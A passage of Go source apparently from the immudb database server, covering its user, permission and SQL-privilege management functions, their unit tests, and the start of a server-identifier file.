u.IsSysAdmin = true } //add user to loggedin list s.addUserToLoginList(u) return loginResponse, nil } // Logout ... func (s *ImmuServer) Logout(ctx context.Context, r *empty.Empty) (*empty.Empty, error) { if !s.Options.auth { return nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation) } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } // remove user from loggedin users s.removeUserFromLoginList(user.Username) // invalidate the token for this user _, err = auth.DropTokenKeysForCtx(ctx) return new(empty.Empty), err } // CreateUser Creates a new user func (s *ImmuServer) CreateUser(ctx context.Context, r *schema.CreateUserRequest) (*empty.Empty, error) { s.Logger.Debugf("CreateUser") if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } if !s.Options.GetAuth() { return nil, fmt.Errorf("this command is available only with authentication on") } _, loggedInuser, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } if len(r.User) == 0 { return nil, fmt.Errorf("username can not be empty") } if (len(r.Database) == 0) && s.multidbmode { return nil, fmt.Errorf("database name can not be empty when there are multiple databases") } if (len(r.Database) == 0) && !s.multidbmode { r.Database = DefaultDBName } //check if database exists if s.dbList.GetId(r.Database) < 0 { return nil, fmt.Errorf("database %s does not exist", r.Database) } //check permission is a known value if (r.Permission == auth.PermissionNone) || (r.Permission > auth.PermissionRW && r.Permission < auth.PermissionAdmin) { return nil, fmt.Errorf("unrecognized permission") } //if the requesting user has admin permission on this database if (!loggedInuser.IsSysAdmin) && (!loggedInuser.HasPermission(r.Database, auth.PermissionAdmin)) { return nil, fmt.Errorf("you do not have permission on this database") } //do not allow to create another system admin if r.Permission == auth.PermissionSysAdmin { return nil, fmt.Errorf("can not create another system admin") } _, err = s.getUser(ctx, r.User) if err == nil { return nil, fmt.Errorf("user already exists") } _, _, err = s.insertNewUser(ctx, r.User, r.Password, r.GetPermission(), r.Database, loggedInuser.Username) if err != nil { return nil, err } s.Logger.Infof("user %s was created by user %s", r.User, loggedInuser.Username) return &empty.Empty{}, nil } // ListUsers returns a list of users based on the requesting user permissions func (s *ImmuServer) ListUsers(ctx context.Context, req *empty.Empty) (*schema.UserList, error) { s.Logger.Debugf("ListUsers") loggedInuser := &auth.User{} var db database.DB var err error userlist := &schema.UserList{} if !s.Options.GetMaintenance() { if !s.Options.GetAuth() { return nil, fmt.Errorf("this command is available only with authentication on") } var dbInd int dbInd, loggedInuser, err = s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } if dbInd >= 0 { db, err = s.dbList.GetByIndex(dbInd) if err != nil { return nil, err } } } itemList, err := s.sysDB.Scan(ctx, &schema.ScanRequest{ Prefix: []byte{KeyPrefixUser}, NoWait: true, }) if err != nil { s.Logger.Errorf("error getting users: %v", err) return nil, err } if loggedInuser.IsSysAdmin || s.Options.GetMaintenance() { // return all users, including the deactivated ones for i := 0; i < len(itemList.Entries); i++ { itemList.Entries[i].Key = itemList.Entries[i].Key[1:] usr, err := unmarshalSchemaUser(itemList.Entries[i].Value) if err != nil { return nil, err } userlist.Users = append(userlist.Users, usr) } return userlist, nil } else if db != nil && loggedInuser.WhichPermission(db.GetName()) == auth.PermissionAdmin { // for admin users return only users for the database that is has selected selectedDbname := db.GetName() userlist := &schema.UserList{} for i := 0; i < len(itemList.Entries); i++ { itemList.Entries[i].Key = itemList.Entries[i].Key[1:] usr, err := unmarshalSchemaUser(itemList.Entries[i].Value) if err != nil { return nil, err } include := false for _, val := range usr.Permissions { //check if this user has any permission for this database //include in the reply only if it has any permission for the currently selected database if val.Database == selectedDbname { include = true } } if include { userlist.Users = append(userlist.Users, usr) } } return userlist, nil } else { // any other permission return only its data usr, err := toSchemaUser(loggedInuser) if err != nil { return nil, err } return &schema.UserList{Users: []*schema.User{usr}}, nil } } func unmarshalSchemaUser(data []byte) (*schema.User, error) { var u auth.User if err := json.Unmarshal(data, &u); err != nil { return nil, err } u.SetSQLPrivileges() return toSchemaUser(&u) } func toSchemaUser(u *auth.User) (*schema.User, error) { permissions := make([]*schema.Permission, len(u.Permissions)) for i, val := range u.Permissions { permissions[i] = &schema.Permission{ Database: val.Database, Permission: val.Permission, } } privileges := make([]*schema.SQLPrivilege, len(u.SQLPrivileges)) for i, p := range u.SQLPrivileges { privileges[i] = &schema.SQLPrivilege{Database: p.Database, Privilege: p.Privilege} } return &schema.User{ User: []byte(u.Username), Createdat: u.CreatedAt.String(), Createdby: u.CreatedBy, Permissions: permissions, SqlPrivileges: privileges, Active: u.Active, }, nil } // ChangePassword ... func (s *ImmuServer) ChangePassword(ctx context.Context, r *schema.ChangePasswordRequest) (*empty.Empty, error) { s.Logger.Debugf("ChangePassword") if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } if !s.Options.GetAuth() { return nil, fmt.Errorf("this command is available only with authentication on") } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } if string(r.User) == auth.SysAdminUsername { if err = auth.ComparePasswords(user.HashedPassword, r.OldPassword); err != nil { return new(empty.Empty), status.Errorf(codes.PermissionDenied, "old password is incorrect") } } if !user.IsSysAdmin { if !user.HasAtLeastOnePermission(auth.PermissionAdmin) { return nil, fmt.Errorf("user is not system admin nor admin in any of the databases") } } if len(r.User) == 0 { return nil, fmt.Errorf("username can not be empty") } targetUser, err := s.getUser(ctx, r.User) if err != nil { return nil, fmt.Errorf("user %s was not found or it was not created by you", string(r.User)) } //if the user is not sys admin then let's make sure the target was created from this admin if !user.IsSysAdmin { if user.Username != targetUser.CreatedBy { return nil, fmt.Errorf("user %s was not found or it was not created by you", string(r.User)) } } _, err = targetUser.SetPassword(r.NewPassword) if err != nil { return nil, err } targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() if err := s.saveUser(ctx, targetUser); err != nil { return nil, err } s.Logger.Infof("password for user %s was changed by user %s", targetUser.Username, user.Username) // remove user from logged in users s.removeUserFromLoginList(targetUser.Username) // invalidate the token for this user auth.DropTokenKeys(targetUser.Username) return new(empty.Empty), nil } // ChangePermission grant or revoke user permissions on databases func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermissionRequest) (*empty.Empty, error) { s.Logger.Debugf("ChangePermission %+v", r) if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } //sanitize input { if len(r.Username) == 0 { return nil, status.Errorf(codes.InvalidArgument, "username can not be empty") } if len(r.Database) == 0 { return nil, status.Errorf(codes.InvalidArgument, "database can not be empty") } _, err := s.dbList.GetByName(r.Database) if r.Database != SystemDBName && err != nil { return nil, status.Errorf(codes.InvalidArgument, "database does not exist") } if (r.Action != schema.PermissionAction_GRANT) && (r.Action != schema.PermissionAction_REVOKE) { return nil, status.Errorf(codes.InvalidArgument, "action not recognized") } if (r.Permission == auth.PermissionNone) || ((r.Permission > auth.PermissionRW) && (r.Permission < auth.PermissionAdmin)) { return nil, status.Errorf(codes.InvalidArgument, "unrecognized permission") } } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } //do not allow to change own permissions, user can lock itsself out if r.Username == user.Username { return nil, status.Errorf(codes.InvalidArgument, "changing your own permissions is not allowed") } if r.Username == auth.SysAdminUsername { return nil, status.Errorf(codes.InvalidArgument, "changing sysadmin permissions is not allowed") } if r.Database == SystemDBName && r.Permission == auth.PermissionRW { return nil, ErrPermissionDenied } // check if user exists targetUser, err := s.getUser(ctx, []byte(r.Username)) if err != nil { return nil, status.Errorf(codes.NotFound, "user %s not found", string(r.Username)) } // target user should be active if !targetUser.Active { return nil, status.Errorf(codes.FailedPrecondition, "user %s is not active", string(r.Username)) } // check if requesting user has permission on this database if !user.IsSysAdmin { if !user.HasPermission(r.Database, auth.PermissionAdmin) { return nil, status.Errorf(codes.PermissionDenied, "you do not have permission on this database") } } if r.Action == schema.PermissionAction_REVOKE { targetUser.RevokePermission(r.Database) } else { targetUser.GrantPermission(r.Database, r.Permission) } targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() targetUser.SQLPrivileges = defaultSQLPrivilegesForPermission(r.Database, r.Permission) targetUser.HasPrivileges = true if err := s.saveUser(ctx, targetUser); err != nil { return nil, err } s.Logger.Infof("permissions of user %s for database %s was changed by user %s", targetUser.Username, r.Database, user.Username) // remove user from loggedin users s.removeUserFromLoginList(targetUser.Username) return new(empty.Empty), nil } // SetActiveUser activate or deactivate a user func (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserRequest) (*empty.Empty, error) { s.Logger.Debugf("SetActiveUser") if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } if !s.Options.GetAuth() { return nil, fmt.Errorf("this command is available only with authentication on") } if len(r.Username) == 0 { return nil, fmt.Errorf("username can not be empty") } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } if !user.IsSysAdmin { if !user.HasAtLeastOnePermission(auth.PermissionAdmin) { return nil, fmt.Errorf("user is not system admin nor admin in any of the databases") } } if r.Username == user.Username { return nil, fmt.Errorf("changing your own status is not allowed") } targetUser, err := s.getUser(ctx, []byte(r.Username)) if err != nil { return nil, fmt.Errorf("user %s not found", r.Username) } //if the user is not sys admin then let's make sure the target was created from this admin if !user.IsSysAdmin && user.Username != targetUser.CreatedBy { return nil, fmt.Errorf("%s was not created by you", r.Username) } targetUser.Active = r.Active targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() if err := s.saveUser(ctx, targetUser); err != nil { return nil, err } s.Logger.Infof("user %s was %s by user %s", targetUser.Username, map[bool]string{ true: "activated", false: "deactivated", }[r.Active], user.Username) //remove user from loggedin users s.removeUserFromLoginList(targetUser.Username) return new(empty.Empty), nil } // insertNewUser inserts a new user to the system database and returns username and plain text password // A new password is generated automatically if passed parameter is empty // If enforceStrongAuth is true it checks if username and password meet security criteria func (s *ImmuServer) insertNewUser(ctx context.Context, username []byte, plainPassword []byte, permission uint32, database string, createdBy string) ([]byte, []byte, error) { if !auth.IsValidUsername(string(username)) { return nil, nil, status.Errorf( codes.InvalidArgument, "username can only contain letters, digits and underscores") } userdata := new(auth.User) plainpassword, err := userdata.SetPassword(plainPassword) if err != nil { return nil, nil, err } userdata.Active = true userdata.HasPrivileges = true userdata.Username = string(username) userdata.Permissions = append(userdata.Permissions, auth.Permission{Permission: permission, Database: database}) userdata.SQLPrivileges = defaultSQLPrivilegesForPermission(database, permission) userdata.CreatedBy = createdBy userdata.CreatedAt = time.Now() if permission == auth.PermissionSysAdmin { userdata.IsSysAdmin = true } if (permission > auth.PermissionRW) && (permission < auth.PermissionAdmin) { return nil, nil, fmt.Errorf("unknown permission") } err = s.saveUser(ctx, userdata) return username, plainpassword, err } func (s *ImmuServer) getValidatedUser(ctx context.Context, username []byte, password []byte) (*auth.User, error) { userdata, err := s.getUser(ctx, username) if err != nil { return nil, err } err = userdata.ComparePasswords(password) if err != nil { return nil, err } return userdata, nil } // getUser returns userdata (username,hashed password, permission, active) from username func (s *ImmuServer) getUser(ctx context.Context, username []byte) (*auth.User, error) { key := make([]byte, 1+len(username)) key[0] = KeyPrefixUser copy(key[1:], username) item, err := s.sysDB.Get(ctx, &schema.KeyRequest{Key: key}) if err != nil { return nil, err } var usr auth.User err = json.Unmarshal(item.Value, &usr) if err != nil { return nil, err } usr.SetSQLPrivileges() return &usr, nil } func (s *ImmuServer) saveUser(ctx context.Context, user *auth.User) error { userData, err := json.Marshal(user) if err != nil { return logErr(s.Logger, "error saving user: %v", err) } userKey := make([]byte, 1+len(user.Username)) userKey[0] = KeyPrefixUser copy(userKey[1:], []byte(user.Username)) userKV := &schema.KeyValue{Key: userKey, Value: userData} _, err = s.sysDB.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{userKV}}) time.Sleep(time.Duration(10) * time.Millisecond) return logErr(s.Logger, "error saving user: %v", err) } func (s *ImmuServer) removeUserFromLoginList(username string) { s.userdata.Lock() defer s.userdata.Unlock() delete(s.userdata.Userdata, username) } func (s *ImmuServer) addUserToLoginList(u *auth.User) { s.userdata.Lock() defer s.userdata.Unlock() s.userdata.Userdata[u.Username] = u } func (s *ImmuServer) getLoggedInUserdataFromCtx(ctx context.Context) (int, *auth.User, error) { if sessionID, err := sessions.GetSessionIDFromContext(ctx); err == nil { sess, e := s.SessManager.GetSession(sessionID) if e != nil { return 0, nil, e } if sess.GetDatabase().GetName() == SystemDBName { return sysDBIndex, sess.GetUser(), nil } return s.dbList.GetId(sess.GetDatabase().GetName()), sess.GetUser(), nil } jsUser, err := auth.GetLoggedInUser(ctx) if err != nil { return -1, nil, err } u, err := s.getLoggedInUserDataFromUsername(jsUser.Username) return int(jsUser.DatabaseIndex), u, err } func (s *ImmuServer) getLoggedInUserDataFromUsername(username string) (*auth.User, error) { s.userdata.Lock() defer s.userdata.Unlock() userdata, ok := s.userdata.Userdata[username] if !ok { return nil, ErrNotLoggedIn } return userdata, nil } func (s *ImmuServer) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQLPrivilegesRequest) (*schema.ChangeSQLPrivilegesResponse, error) { s.Logger.Debugf("ChangeSQLPrivileges %+v", r) if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } // sanitize input { if len(r.Username) == 0 { return nil, status.Errorf(codes.InvalidArgument, "username can not be empty") } if _, err := s.dbList.GetByName(r.Database); err != nil { return nil, status.Errorf(codes.InvalidArgument, "%s", err.Error()) } if (r.Action != schema.PermissionAction_GRANT) && (r.Action != schema.PermissionAction_REVOKE) { return nil, status.Errorf(codes.InvalidArgument, "action not recognized") } } privileges := make([]string, len(r.Privileges)) for i, p := range r.Privileges { if !isValidPrivilege(p) { return nil, status.Errorf(codes.InvalidArgument, "SQL privilege not recognized") } privileges[i] = string(p) } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } //do not allow to change own permissions, user can lock itsself out if r.Username == user.Username { return nil, status.Errorf(codes.InvalidArgument, "changing your own privileges is not allowed") } if r.Username == auth.SysAdminUsername { return nil, status.Errorf(codes.InvalidArgument, "changing sysadmin privileges is not allowed") } // check if user exists targetUser, err := s.getUser(ctx, []byte(r.Username)) if err != nil { return nil, status.Errorf(codes.NotFound, "user %s not found", r.Username) } // target user should be active if !targetUser.Active { return nil, status.Errorf(codes.FailedPrecondition, "user %s is not active", r.Username) } // target user should have permission on the requested database if targetUser.WhichPermission(r.Database) == auth.PermissionNone { return nil, status.Errorf(codes.FailedPrecondition, "user %s doesn't have permission on database %s", r.Username, r.Database) } // check if requesting user has permission on this database if !user.IsSysAdmin { if !user.HasPermission(r.Database, auth.PermissionAdmin) { return nil, status.Errorf(codes.PermissionDenied, "you do not have permission on this database") } } if r.Action == schema.PermissionAction_REVOKE { targetUser.RevokeSQLPrivileges(r.Database, privileges) } else { targetUser.GrantSQLPrivileges(r.Database, privileges) } targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() targetUser.HasPrivileges = true if err := s.saveUser(ctx, targetUser); err != nil { return nil, err } s.Logger.Infof("permissions of user %s for database %s was changed by user %s", targetUser.Username, r.Database, user.Username) // remove user from loggedin users s.removeUserFromLoginList(targetUser.Username) return &schema.ChangeSQLPrivilegesResponse{}, nil } func isValidPrivilege(p string) bool { switch sql.SQLPrivilege(p) { case sql.SQLPrivilegeSelect, sql.SQLPrivilegeCreate, sql.SQLPrivilegeInsert, sql.SQLPrivilegeUpdate, sql.SQLPrivilegeDelete, sql.SQLPrivilegeDrop, sql.SQLPrivilegeAlter: return true } return false } func defaultSQLPrivilegesForPermission(database string, permission uint32) []auth.SQLPrivilege { sqlPrivileges := sql.DefaultSQLPrivilegesForPermission(sql.PermissionFromCode(permission)) privileges := make([]auth.SQLPrivilege, len(sqlPrivileges)) for i, p := range sqlPrivileges { privileges[i] = auth.SQLPrivilege{ Database: database, Privilege: string(p), } } return privileges } ================================================ FILE: pkg/server/user_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "fmt" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" ) func TestServerLogin(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } resp, err := s.Login(context.Background(), r) require.NoError(t, err) if len(resp.Token) == 0 { t.Fatalf("login token is empty") } if len(resp.Warning) == 0 { t.Fatalf("default immudb password missing warning") } } func TestServerLogout(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() _, err := s.Logout(context.Background(), &emptypb.Empty{}) if err == nil || err.Error() != ErrNotLoggedIn.Message() { t.Fatalf("Logout expected error, got %v", err) } r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() l, err := s.Login(ctx, r) require.NoError(t, err) m := make(map[string]string) m["Authorization"] = "Bearer " + string(l.Token) ctx = metadata.NewIncomingContext(ctx, metadata.New(m)) _, err = s.Logout(ctx, &emptypb.Empty{}) require.NoError(t, err) } func TestServerLoginLogoutWithAuthDisabled(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAuth(false) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() _, err := s.Logout(context.Background(), &emptypb.Empty{}) require.NotNil(t, err) require.ErrorContains(t, err, ErrAuthDisabled) } func TestServerListUsersAdmin(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) newdb := &schema.DatabaseSettings{ DatabaseName: testDatabase, } _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) err = s.CloseDatabases() require.NoError(t, err) s.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { return database.OpenDB(name, s.multidbHandler(), opts, s.Logger) }, 10, logger.NewMemoryLogger())) s.sysDB = nil err = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(s.Options.Dir, nil) require.NoError(t, err) err = s.loadUserDatabases(s.Options.Dir, nil) require.NoError(t, err) users1, err := s.ListUsers(ctx, &emptypb.Empty{}) require.NoError(t, err) require.GreaterOrEqual(t, len(users1.Users), 1) newUser := &schema.CreateUserRequest{ User: testUsername, Password: testPassword, Database: testDatabase, Permission: auth.PermissionAdmin, } _, err = s.CreateUser(ctx, newUser) require.NoError(t, err) s.multidbmode = true lr, err = s.Login(ctx, &schema.LoginRequest{User: testUsername, Password: testPassword}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) ur, err := s.UseDatabase(ctx, &schema.Database{ DatabaseName: testDatabase, }) require.NoError(t, err) md = metadata.Pairs("authorization", ur.Token) ctx = metadata.NewIncomingContext(context.Background(), md) users, err := s.ListUsers(ctx, &emptypb.Empty{}) require.NoError(t, err) if len(users.Users) < 1 { t.Fatalf("List users, expected >1 got %v", len(users.Users)) } lr, err = s.Login(ctx, &schema.LoginRequest{User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword)}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) require.NoError(t, err) users, err = s.ListUsers(ctx, &emptypb.Empty{}) require.NoError(t, err) if len(users.Users) < 1 { t.Fatalf("List users, expected >1 got %v", len(users.Users)) } require.Equal(t, len(users1.Users)+1, len(users.Users)) newUser = &schema.CreateUserRequest{ User: []byte("rwuser"), Password: []byte("rwuserPas@1"), Database: testDatabase, Permission: auth.PermissionRW, } _, err = s.CreateUser(ctx, newUser) require.NoError(t, err) s.multidbmode = true lr, err = s.Login(ctx, &schema.LoginRequest{User: []byte("rwuser"), Password: []byte("rwuserPas@1")}) require.NoError(t, err) md = metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) ur, err = s.UseDatabase(ctx, &schema.Database{ DatabaseName: testDatabase, }) require.NoError(t, err) md = metadata.Pairs("authorization", ur.Token) ctx = metadata.NewIncomingContext(context.Background(), md) users, err = s.ListUsers(ctx, &emptypb.Empty{}) require.NoError(t, err) if len(users.Users) < 1 { t.Fatalf("List users, expected >1 got %v", len(users.Users)) } } func TestServerUsermanagement(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) newdb := &schema.DatabaseSettings{ DatabaseName: testDatabase, } _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) testServerCreateUser(ctx, s, t) testServerListDatabases(ctx, s, t) testServerUseDatabase(ctx, s, t) testServerChangePermission(ctx, s, t) testServerDeactivateUser(ctx, s, t) testServerSetActiveUser(ctx, s, t) testServerChangePassword(ctx, s, t) testServerListUsers(ctx, s, t) } func TestServerCreateUser(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() ctx, err := loginAsUser(s, auth.SysAdminUsername, auth.SysAdminPassword) require.NoError(t, err) _, err = s.CreateDatabaseWith(ctx, &schema.DatabaseSettings{ DatabaseName: testDatabase, }) require.NoError(t, err) _, err = s.CreateDatabaseWith(ctx, &schema.DatabaseSettings{ DatabaseName: auth.SysAdminUsername, }) require.NoError(t, err) _, err = s.CreateUser(ctx, &schema.CreateUserRequest{ User: testUsername, Password: testPassword, Database: testDatabase, Permission: auth.PermissionR, }) require.NoError(t, err) _, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ Action: schema.PermissionAction_GRANT, Username: string(testUsername), Database: auth.SysAdminUsername, Privileges: []string{string(sql.SQLPrivilegeUpdate)}, }) require.ErrorContains(t, err, fmt.Sprintf("user %s doesn't have permission on database %s", testUsername, auth.SysAdminUsername)) _, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ Action: schema.PermissionAction_GRANT, Username: string(testUsername), Database: testDatabase, Privileges: []string{string(sql.SQLPrivilegeUpdate)}, }) require.NoError(t, err) users, err := s.ListUsers(ctx, &emptypb.Empty{}) require.NoError(t, err) require.Len(t, users.Users, 2) u := users.Users[1] require.Equal(t, string(u.User), string(testUsername)) require.Equal(t, u.SqlPrivileges, []*schema.SQLPrivilege{{Database: testDatabase, Privilege: string(sql.SQLPrivilegeSelect)}, {Database: testDatabase, Privilege: string(sql.SQLPrivilegeUpdate)}}) userCtx, err := loginAsUser(s, string(testUsername), string(testPassword)) require.NoError(t, err) _, err = s.ChangeSQLPrivileges(userCtx, &schema.ChangeSQLPrivilegesRequest{ Action: schema.PermissionAction_REVOKE, Username: string(testUsername), Database: testDatabase, Privileges: []string{string(sql.SQLPrivilegeSelect)}, }) require.ErrorContains(t, err, "changing your own privileges is not allowed") _, err = s.ChangeSQLPrivileges(userCtx, &schema.ChangeSQLPrivilegesRequest{ Action: schema.PermissionAction_REVOKE, Username: auth.SysAdminUsername, Database: testDatabase, Privileges: []string{string(sql.SQLPrivilegeSelect)}, }) require.ErrorContains(t, err, "changing sysadmin privileges is not allowed") _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: fmt.Sprintf("REVOKE ALL PRIVILEGES ON DATABASE %s TO USER %s", testDatabase, string(testUsername))}) require.NoError(t, err) _, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ Action: schema.PermissionAction_REVOKE, Username: string(testUsername), Database: testDatabase, Privileges: []string{string(sql.SQLPrivilegeSelect), string(sql.SQLPrivilegeUpdate)}, }) require.NoError(t, err) users, err = s.ListUsers(ctx, &emptypb.Empty{}) require.NoError(t, err) require.Len(t, users.Users, 2) u = users.Users[1] require.Equal(t, string(u.User), string(testUsername)) require.Empty(t, u.SqlPrivileges) userCtx, err = loginAsUser(s, string(testUsername), string(testPassword)) // should login again after chaing permissions require.NoError(t, err) reply, err := s.UseDatabase(userCtx, &schema.Database{DatabaseName: testDatabase}) require.NoError(t, err) md := metadata.Pairs("authorization", reply.Token) userCtx = metadata.NewIncomingContext(context.Background(), md) _, err = s.UnarySQLQuery(userCtx, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) require.ErrorIs(t, err, sql.ErrAccessDenied) } func TestUnmarshalUserWithNoPrivileges(t *testing.T) { u, err := unmarshalSchemaUser([]byte(`{"hasPrivileges": false, "permissions": [{"permission": 1, "database": "immudb"}]}`)) require.NoError(t, err) require.Equal(t, u.SqlPrivileges, []*schema.SQLPrivilege{{Database: "immudb", Privilege: string(sql.SQLPrivilegeSelect)}}) } func loginAsUser(s *ImmuServer, username, password string) (context.Context, error) { r := &schema.LoginRequest{ User: []byte(username), Password: []byte(password), } ctx := context.Background() lr, err := s.Login(ctx, r) if err != nil { return nil, err } md := metadata.Pairs("authorization", lr.Token) return metadata.NewIncomingContext(context.Background(), md), nil } func testServerCreateUser(ctx context.Context, s *ImmuServer, t *testing.T) { newUser := &schema.CreateUserRequest{ User: testUsername, Password: testPassword, Database: testDatabase, Permission: auth.PermissionAdmin, } _, err := s.CreateUser(ctx, newUser) require.NoError(t, err) if !s.mandatoryAuth() { t.Fatalf("mandatoryAuth expected true") } } func testServerListUsers(ctx context.Context, s *ImmuServer, t *testing.T) { users, err := s.ListUsers(ctx, &emptypb.Empty{}) require.NoError(t, err) if len(users.Users) < 1 { t.Fatalf("List users, expected >1 got %v", len(users.Users)) } } func testServerListDatabases(ctx context.Context, s *ImmuServer, t *testing.T) { dbs, err := s.DatabaseList(ctx, &emptypb.Empty{}) require.NoError(t, err) if len(dbs.Databases) < 1 { t.Fatalf("List databases, expected >1 got %v", len(dbs.Databases)) } } func testServerUseDatabase(ctx context.Context, s *ImmuServer, t *testing.T) { dbs, err := s.UseDatabase(ctx, &schema.Database{ DatabaseName: testDatabase, }) require.NoError(t, err) if len(dbs.Token) == 0 { t.Fatalf("Expected token, got %v", dbs.Token) } } func testServerChangePermission(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.ChangePermission(ctx, &schema.ChangePermissionRequest{ Action: schema.PermissionAction_GRANT, Database: testDatabase, Permission: auth.PermissionR, Username: string(testUsername), }) require.NoError(t, err) } func testServerDeactivateUser(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.SetActiveUser(ctx, &schema.SetActiveUserRequest{ Active: false, Username: string(testUsername), }) require.NoError(t, err) } func testServerSetActiveUser(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.SetActiveUser(ctx, &schema.SetActiveUserRequest{ Active: true, Username: string(testUsername), }) require.NoError(t, err) } func testServerChangePassword(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.ChangePassword(ctx, &schema.ChangePasswordRequest{ NewPassword: testPassword, OldPassword: testPassword, User: testUsername, }) require.NoError(t, err) } ================================================ FILE: pkg/server/uuid.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "io/ioutil" "os" "path" "github.com/rs/xid" "google.golang.org/grpc" "google.golang.org/grpc/metadata" ) // IDENTIFIER_FNAME ... const IDENTIFIER_FNAME = "immudb.identifier" // SERVER_UUID_HEADER ... const SERVER_UUID_HEADER = "immudb-uuid" type uuidContext struct { UUID xid.ID } // UUIDContext manage UUID context type UUIDContext interface { UUIDStreamContextSetter(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error UUIDContextSetter(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) } // NewUUIDContext return a new UUId context servive func NewUUIDContext(id xid.ID) uuidContext { return uuidContext{id} } // getOrSetUUID either reads the identifier file or creates it if it doesn't exist // unless useExternalIdentifier is set to true, in which case the local identifier file is ignored. 